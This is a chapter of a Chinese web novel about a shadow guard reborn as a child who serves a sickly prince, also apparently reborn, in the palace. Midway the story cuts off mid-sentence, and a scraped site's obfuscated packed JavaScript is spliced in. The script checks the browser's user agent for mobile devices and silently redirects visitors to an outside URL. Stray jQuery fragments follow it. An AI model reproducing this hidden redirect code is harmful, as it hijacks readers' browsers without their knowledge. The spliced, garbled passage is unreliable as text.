13.装笨

作品:《焚兰心兮还洲山

    俞知路以余光瞧着晕倒的宇文暾,层层狐裘将他埋住,只露出他那张姣好的脸,正是这张脸骗了俞知路这么多年;俞知路的左手边坐了师父俞函,师父与李夫人低声对谈,没想到李夫人问的尽是江南之人情风貌。马车行慢,摇摇晃晃,一个拐弯,始见宫门,俞知路以手指轻拨开马车窗帘,这皇宫好大,却是再熟悉不过的了。


    俞知路今个一醒来,屋顶是屋顶,通铺是通铺,他还以为自己在皇陵遇险遭救,一起身才发觉内力几乎全无。再一低头,短手短腿,是小孩体貌。俞知路不愿细想,往后一倒继续睡,定是出现了幻觉。


    然后,他便是被师父俞函给直接踢下了床。俞知路揉屁股,心道,我这是怎么一回事?难道是上天看我命不该绝,给我重来的机会?


    大半天过去,俞知路发觉今日就是宇文暾领他回蓬阳殿的日子。俞知路的记忆并不好,只大致记得些重要事件,可他将今日发生的事记得很牢:在上一辈子,宇文暾与李夫人上午便来静室挑人,俞知路甚至中午就跟着宇文暾、李夫人去席间用饭了,他们宣称俞知路是湛明光的远房亲戚,与俞函也有些血缘关系。李家姐妹出自武将世家,李夫人虽矜贵高傲,可她却不太看重位次阶级一事,她在嫁与当今皇帝之前,甚至比湛明光更爱养门客,因此带一位门客之侄回宫很是正常。


    这一辈子,不说诸多细节,光是时间上就有大出入。


    宇文暾与李夫人几近中午才抵达湛将军府。而下午俞知路竟然听见将军夫人与将军吵架,吵的便是有关俞知路的事!原来湛将军上一世是瞒着夫人将俞知路纳入了待选暗卫名单,为的是讨好李夫人与李家,若李家愿多作提携,湛将军就有希望从中护军升任卫将军。湛李氏不必说,当然向着丈夫,但皇帝的枕边人毕竟是李夫人。李公很宝贝这两位女儿,若姐妹都同意,李公也不会推辞。


    湛李氏气极,她真以为俞知路是给湛飞羽留的护卫,说什么也不肯让。若要让,那可以与姐姐谈条件,不然怎么都不划算。于是乎晚上便上演了一出戏,湛李氏装傻,湛明光演技拙劣,湛飞羽童言无忌,宇文暾晕倒在地,李夫人一挥衣袖,匆匆回府,果真多答应了湛家一个条件。


    俞知路狐疑,自己是重活了一辈子,宇文暾呢?


    俞知路只见得宇文暾晕倒在地,李夫人几乎是抢走俞知路,他方才在暗室里模糊听见宇文暾说话,大抵是飞羽介绍了自己,勾起宇文暾兴趣。以宇文暾的机灵劲,他的确会追问听来的线索,无法判断他是不是重生。


    俞知路脑袋里乱糟糟的,什么都还没想好。真希望有纸笔,他还能写下来稍作整理。


    重活一世,俞知路很是矛盾,有诸多选择摆在他面前。他可以选择出宫,也可以留在宫中。他可以往北边去,也可以下江南。但最重要的问题恐怕是:他还要选宇文暾么?


    “选”?俞知路自嘲,自己难道要换一位皇子去侍奉?还是要换个人……换个人做什么呢?俞知路很迷茫。


    俞函侧望过来,俞知路下意识抖了抖。对,俞函会看住他。


    自己这师父也是个怪人。俞知路自始至终没搞懂过俞函,他行事乖张,难以捉摸,俞知路只知道俞函现在愿意驻守京师,是因为李家与湛明光合力救下一位盲眼女医仙,这位医仙险些下狱,是李家势力出手相助了。俞知路想起他的好哥们儿俞四,俞四是这群暗卫里唯一对药理很开窍的人,给送到医仙身旁做助手,只可惜医仙几年后去世,医者难自医。


    总之,总之,冬天好难捱,俞知路有些打退堂鼓,要不先在蓬阳殿将就将就。


    真希望宇文暾没有重生。俞知路真诚许愿道。


    御医深夜来访,为宇文暾诊脉开方。俞知路自知这第一年要做皇子的小侍从,只得候在床边罚站。大人来来往往,李夫人坐在桌前静思,半晌,李夫人方发现俞知路还在这里,她道:“可会说话?怎的一声不吭。”


    俞知路脑子懂得中原官话,嘴巴却跟不上,怪腔道:“会说的,夫人。”


    “嗯,不要紧,这官话多学学就会了。可有用过晚饭?”


    俞知路摇头。李夫人便差遣辛阑带俞知路下去用饭,将他安置在一旁的耳房居住。俞知路离开前,深深望了宇文暾一眼,这病秧子宇文暾,小时候尤其爱生病。


    回到熟悉的耳房,俞知路深呼吸,心下有些不愿意睡觉,怕今天所经历的一切皆是幻觉——怕重生是场幻觉。都是那妖石所害!说不定这也是妖石造出来的幻景。俞知路一夜未眠,在床上运功,恐惧地发现自己所练的飞神功、匡机经全付诸东流,大小周天运转不通,没有内力!俞知路冷汗直流。


    直至卯时,三皇子寻常起床的时间,俞知路睁眼,习惯性地穿衣,穿了一半才想起,他还根本没有学过怎样伺候三皇子殿下。


    俞知路决意要做一个只比上一辈子聪明一点点的俞知路——太聪明了不是好事!不论宇文暾是否重生,宇文暾都是很难搞的一个人。


    于是俞知路脱了衣裳,滚回被褥中装睡。这一躺下竟然真让俞知路睡着了,辛阑一个时辰后才来叫醒俞知路:“小弟,你穿好衣服随我来,三皇子殿下与夫人要见你。”


    这时俞知路还未得赐名,这声“小弟”唤得俞知路后颈痒痒的,他这才发觉,自己也挺想念辛阑。当年李家遭难,蓬阳殿的宫人亦受罚,俞知路拼了老命救出辛阑,可辛阑还是于一年后病逝,好人薄命。至于辛夷,俞知路甚至没能救下来。门外辛夷正等候,托着几件折好的幼童袍子,是蓬阳殿为俞知路准备的换洗衣物,她等俞知路出了耳房,再将衣服放进去。


    “母妃,我昨日真这么说?”


    “我还从未见过你这样撒泼打滚!瞧,人来了。阿渠,靠近些。”李夫人向俞知路招手。


    宇文暾几不可见地撇了撇嘴,端正皇子貌,优雅地看过来。


    俞知路不自觉地对上宇文暾双眸,旋即垂首,不好与皇子直视。


    李夫人道:“这孩子来自‘贺渠’部族,中护军府上喊他阿渠……”


    “你可有名姓?”宇文暾问道。


    这可真把俞知路问住了。他确有胡人名字,可俞知路已多年未用过了。要换新名字么?俞知路踌躇片刻,顿觉麻烦,兴许他现在还没做好换名字的心理准备。俞知路摆首,干脆佯装自己是一无所有的孤儿吧。


    宇文暾缓缓道:“既然是俞先生带来的,可随俞先生姓。飞羽说他一顿能吃六碗饭,取个吉数‘陆’吧,正好与其他暗卫编成一队。你就叫‘俞之陆’如何?”


    我这时候就一顿能吃六碗饭了么?俞知路心惊。他当真是记不住了,兴许他真做过这样的事呢?俞知路小时候做事没轻没重,很不过脑子,好吃食,这也合得上。


    俞知路认下这名字,带着口音重复了一遍,又沉默下来。


    只有李夫人大惊失色道:“小妹真是送了个饭桶给我啊!难道我是被小妹诈了,故意送这小家伙过来,还骗我多给一个好处……”说着说着,李夫人自己也觉这想法可笑,她宫中难道还养不起个孩子了?李夫人命辛夷、辛阑从今日起开始教导俞知路,要他照顾宇文暾的衣食起居。


    今日正好照顾生病的宇文暾,身为三皇子殿下的侍从,俞知路就得习惯照顾病人这回事。


    李夫人既然听得“一顿能食六碗饭”的传闻,便叫侍女们喂饱了俞知路。饭毕,从膳房出,辛阑端来药粥,宇文暾恹恹不愿下床,原是要侍女喂粥的,宇文暾却忽然道:“之陆给我喂粥!”


    俞知路莫名被喊了过来,辛阑为难道:“还是让奴婢来吧,三皇子殿下,俞之陆还小呢,若他一个手颤打翻了粥,夫人是要罚我们的。”


    俞知路的眼神如此无辜,宇文暾忽然给自己敲了警钟——他幼时可是很善解人意的,可为众皇子典范。一想到此,宇文暾只好自己打圆场:“我开个玩笑。我这便下床了,辛阑,我自己来。”


    俞知路并非故意沉默,而是确实没有说话的余地。俞知路不大能看出来,眼前的宇文暾确实是六岁的孩子,还是如俞知路一般,内里装了成年的灵魂。


    宇文暾却是觉得,眼前的俞知路好像挺拘谨,不像是装的。难道俞知路没有重生?


    宇文暾今个一睁眼,再看见蓬阳殿房梁,心里只剩喜悦,原来自己真是重生了。若俞知路没有前世的记忆,那宇文暾恰好就有机会调查,为何他们这样一对竹马夫妻,最终落得如此下场。究竟谁欠了谁,谁应当有愧,宇文暾暂时按下不表。


    二人的童年时光还算美好,直到那妖石现世之前,他们还有一段好时光可享受。一想到此,宇文暾就浑身轻松不少,亦不在意这持续的病气了。


    辛阑见三皇子愿意下床用饭,便叫辛夷再送几道小菜来,三皇子殿下光吃粥可是不够妥帖的。俞知路下意识站去自己常站的角落,但宇文暾太适应了,二人便都未发现这一点。


    到了戌时,俞函来接俞知路出宫练武、习字。一听说三


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480193|184596||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    皇子殿下的起名巧思,俞函大笑,直说没想到飞羽还将这事告知了三皇子殿下。俞知路这才意识到,我小时候原来真是个饭桶啊?一顿六碗饭?我也才六岁!


    俞函所设的训练场靠近山林,便是出了皇宫往西北的方向,步行大约小半时辰才到,俞函可使轻功,他自己前来是很方便的,可俞知路这边有两位跟随的宫仆,是李夫人为了湛李氏或俞函不将人私自扣留,才命人陪同。


    天寒地冻,双脚行路,俞函心烦,俞知路也心烦。俞知路还知道,俞函会偷偷使轻功跟踪俞知路,小时候他便被俞函抓过逃跑。还是宇文暾聪明,就在宫中训练,省得路上奔波,白费俞知路睡觉的功夫。


    暗卫的训练其实颇为残酷。


    为三皇子专设的暗卫营中,有大约四十位孩童,后来选出十二人,编号一至十三,除去“陆”号,为三皇子殿下的暗卫,剩余则为死士,散养于民间,用之则调取,不随三皇子入宫。


    暗卫营是一间房梁挑高、窗户亦挑高的巨室,孩童们在暗卫营日夜演武,室墙上镶嵌了数根桩柱,要孩童们学轻功、藏于屋内最隐蔽处。地面上陈列着数种武器,孩子每日苦苦练功,几乎不见天日。


    若被淘汰,恐怕日子更为难过。这些孩童大多为孤儿,做暗卫可拿工钱,出了营说不准又要流浪了。曾经有受淘汰的孩童入山做了山贼,习武之人流落恐成祸害,于是这些皇子总会将出了营的孩童收为奴籍,捏在手中当仆役使唤。


    俞知路仔细摸着这些刀枪棍棒,他在训练中从来都占上风,只因俞知路在武学上堪称天才,力为巧力,功为劲功。


    “想练枪?”俞函见俞知路摸着枪柄,便如此问道。


    “无所谓。”俞知路回答。


    俞函“嘣”地弹了俞知路的额头,俞知路捂额大叫,跳到一旁。俞函这便开始教俞知路基本功,站有站功,蹲有蹲法,气沉丹田,脑海中要缓缓浮现身体各躯干,有如心视。


    俞知路本就是天才,更何况这是他第二遍学。只需俞函一教,俞知路当即就做出最标准的姿势,俞函很满意。练够了时辰,俞函又领俞知路去课室,俞知路思考,武学方面可以高标准严要求,学字方面要不要藏拙呢?他真怕俞函抱有不切实际的希望,觉得自己遇见通才了。


    聪明难装,装笨还不容易?俞函教字教得难受,怎的有这样笨的孩子。


    夜深,俞知路疲于赶路,便对俞函道:“师父,我想在这睡。”


    “李夫人既然已差遣宫人陪同你来,就得将你接回去。”


    “可我又不去别的地方,就是在暗卫营里,同其他人一起睡!我们在湛府也是睡大通铺!”


    忽然,暗卫营外有宫人声音来传:“三皇子殿下来访!”


    俞函惊异道:“三皇子殿下怎么会来?李夫人会同意他出宫?”


    出了门一看,才发现原来李夫人也来了。换句话说,正是李夫人前来,三皇子才得以一道出门。三皇子给搀扶着下了马车,李夫人随后。俞函前去迎接,李夫人道:“暾儿想知道这暗卫营究竟是什么模样,正巧我心情不爽利,出宫带他逛逛。暗卫营竟这般远,我叫你们走路,怕是平添辛苦了,之后都换骑马如何?”


    “可是皇宫附近,奔马有风险……”


    “真是麻烦,那叫马车也不妥当了。”李夫人决定先参观暗卫营,再作打算。


    方才宇文暾在马车里一直喊远,李夫人听得耳朵都要生茧了。走路是远了些,可坐马车要得了多少功夫?临到下车,李夫人才反应过来,原来宇文暾在替新来的小侍从打抱不平呢。


    “李夫人,恕我冒昧,三皇子殿下也要学武吗?”


    俞函见宇文暾也东摸摸、西摸摸这暗卫营的诸多武器,不禁发出疑问。


    李夫人很是玩味地看宇文暾玩双手锏,她知晓宇文暾不爱做这些出汗之事,怎么突然转性?


    忽然,有什么冰冷长物挨了挨李夫人的右手。李夫人低头,是俞知路拿了弓箭来,也不说话,就睁着大眼睛可怜巴巴地求着李夫人。李夫人问:“怎么了?”


    俞知路道:“将军说,夫人会射箭。”


    李夫人接过弓箭,很快找到箭靶,距离已逾十米。现下营中空旷,视野无障碍,李夫人挽弓搭箭,随意一放,正中靶心,就连力道也是正正好的,箭柄垂直,箭矢尽数没入靶中。


    “岂止是会?我李家人从没在弓箭上吃过亏。”李夫人将弓还给俞函,口吻轻松。